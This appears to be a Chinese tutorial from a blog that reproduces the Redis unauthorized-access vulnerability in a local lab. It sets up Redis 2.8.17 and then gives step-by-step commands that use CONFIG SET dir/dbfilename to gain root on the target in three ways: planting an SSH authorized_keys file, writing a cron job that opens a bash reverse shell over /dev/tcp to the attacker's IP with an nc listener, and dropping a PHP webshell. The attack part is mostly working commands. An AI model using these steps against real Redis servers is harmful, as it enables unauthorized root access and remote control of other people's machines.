一、漏洞简介

什么是redis

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

redis 是一个高性能的key-value数据库。redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

redis未授权访问漏洞

redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

本次复现主要是:

1.Redis以root身份运行,给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

2.将文件写入周期性计划任务,然后接受反弹shell

3.如果搭建了web服务器,写入webshell,控制服务器(此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改)

准备环境:

攻击机(kali):192.168.163.131(需要自己搭建redis-cli,和服务器端搭建步骤一样)

靶机(centos):192.168.163.132

二、环境搭建

(1)下载redis压缩包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

(2)将压缩包放入指定路径,并且进入指定路径

cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gz
cd redis

(3)解压压缩包,进入指定路径redis-2.8.17,进行安装

tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make

(4)进入到src路径下

(5)将redis-server和redis-cli拷贝到/usr/bin目录下,后续方便直接启动redis服务器并且将redis-2.8.17目录下面的redis.conf拷贝到/etc下面

cp redis-server /usr/bin
cp redis-cli /usr/bin
cp redis.conf /etc/redis.conf

(6)启动服务

redis-server /etc/redis.conf

三、漏洞复现

3.1 利用“公私钥”认证获得root权限

(1)未授权访问连接(无法连接)

redis-cli -h 192.168.163.132

(2)因为是本地搭建,没有开启6379端口对外开放,此处为了方便,直接关闭服务器(靶机)的防火墙

/etc/init.d/iptables stop

(3)kali攻击机未授权访问连接

redis-cli -h 192.168.163.132
keys *

(4)在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

(5)进入.ssh目录,将生成的公钥保存到1.txt:

cd /root/.ssh
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt

(6)将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

cat 1.txt | redis-cli -h 192.168.163.132 -x set crack

(7)并使用 CONFIG GET dir 命令得到redis备份的路径:

CONFIG GET dir

(8)更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),并且修改上传公钥文件的名称为authorized_keys

config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys

(9)检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:

CONFIG GET dbfilename
save

(10)查看服务器端已经成功写入

(11)攻击机成功登陆到服务器

ssh -i id_rsa root@192.168.163.132

3.2利用crontab反弹shell

权限足够的情况下,利用redis写入文件到周期性计划任务执行。

(1)在kali攻击机里面监听指定端口

nc -lvnp 8888

(2)向服务器写入文件

set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save

3)查看服务器端的写入情况

(4)Kali攻击机已经可以连接了(得到了反弹shell)

3.3写入webshell

此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改,将文件写入web路径

(1)写入文件到/tmp目录

config set dir /tmp
config set dbfilename shell.php
set webshell "<?php phpinfo(); ?>"
save

(2)查看服务器

备注:

写入webshell的时候,可以使用:

set x "rnrn<?php phpinfo();?>rnrn"

rnrn代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

原文链接

redis 公网 安全_redis漏洞复现相关推荐

  1. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

  2. Redis未授权访问漏洞复现与利用

    1.漏洞介绍 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果 ...

  3. Redis未授权访问漏洞复现

    Redis介绍 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sor ...

  4. redis 公网 安全_redis配置之安全配置

    简介 redis一般都是放在内网,不对公网开放访问.但是如果内网被入侵就会存在风险. 设置密码 设置密码,虽然设置密码还是可以被抓包抓到可谓是防君子,防不住小人.但是至少可以防止redis服务不小心被 ...

  5. Redis未授权访问漏洞复现(三种方式)

    目录 利用无口令远程登陆redis 利用Redis的持久化写webshell 安装 复现 Redis 利用持久化,利用"公私钥"认证获取root权限 利用无口令远程登陆redis ...

  6. 未授权访问漏洞-Redis未授权访问漏洞

    文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...

  7. 漏洞复现-Redis

    Redis CNNVD-201511-230 未授权访问 CNNVD-201511-230 未授权访问 一.漏洞描述 Redis 是美国 RedisLabs 公司赞助的一套开源的使用 ANSIC 编写 ...

  8. CVE-2022-0543:redis lua沙盒绕过命令执行漏洞复现

    #Redis简介 Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关 ...

  9. 漏洞复现 - - - 未授权访问漏洞Redis

    目录 一,未授权访问漏洞概述 二,常见的未授权访问漏洞 Redis历史漏洞 三,Redis未授权访问 漏洞信息 Redis 简介 四,环境搭建 漏洞环境搭建 五,漏洞利用方法 实验环境 方法一 ​编辑 ...

最新文章

  1. 差分隐私 机器学习_满足差分隐私的经验误差最小化方法
  2. 友情提醒:欲开发android5.0以上应用,请全部更新开发工具至最新
  3. 多层 UIScrollView 嵌套滚动解决方案
  4. BugkuCTF-WEB题MD5
  5. python数据增强代码_基于Python的图像数据增强Data Augmentation解析
  6. 移动app设计公司流程—APP设计需求分析规范
  7. ideal 如何创建jsp页面_HQChart使用教程1- 如何快速创建一个K线图页面
  8. TCP的粘包问题以及数据的无边界性
  9. abap-商业发票管理系统
  10. FastStone Capture 画图吸色工具
  11. PCB制作仿真、自制51板测试及性能改进
  12. .net构建轻微博实时热搜新闻站
  13. 多变量微积分笔记22——空间曲面的通量
  14. matlab:双或三方演化博弈,lotka-Volterra 1.双方演化博弈:代分析稳定点分析,代绘制相位图,matlab仿真图代码
  15. 基于matlab的运动模糊图像处理,基于matlab运动模糊图像处理
  16. python wheel是什么意思_python中wheel指的是什么
  17. 住进布达拉宫,我是雪域最大的王。流浪在拉萨街头,我是世间最美的情郎。...
  18. 《前端》引用包sidebar-menu.js源码及使用
  19. 软件成本度量方法及CMMI V2.0研讨会成功举办
  20. ISO的国家代码和语言代码

热门文章

  1. sdut 数据结构实验图论一:基于邻接矩阵的广度优先搜索遍历
  2. 中断处理程序与中断服务例程
  3. 从理念到实践跳跃式演进! 云的原生“免疫系统”如何有机作战?
  4. Python C扩展的引用计数问题探讨
  5. RebatesMe:返利网站DDOS防护
  6. 服务化改造的云上利器 | 阿里云 EDAS 重大升级发布
  7. TableStore发布多元索引功能,打造统一的在线数据平台
  8. stack vs heap:栈区分配内存快还是堆区分配内存快 ?
  9. 云原生安全厂商小佑科技完成数千万Pre-A轮融资
  10. 阿里工程师用 8 张图告诉你如何存储、管理泛内容数据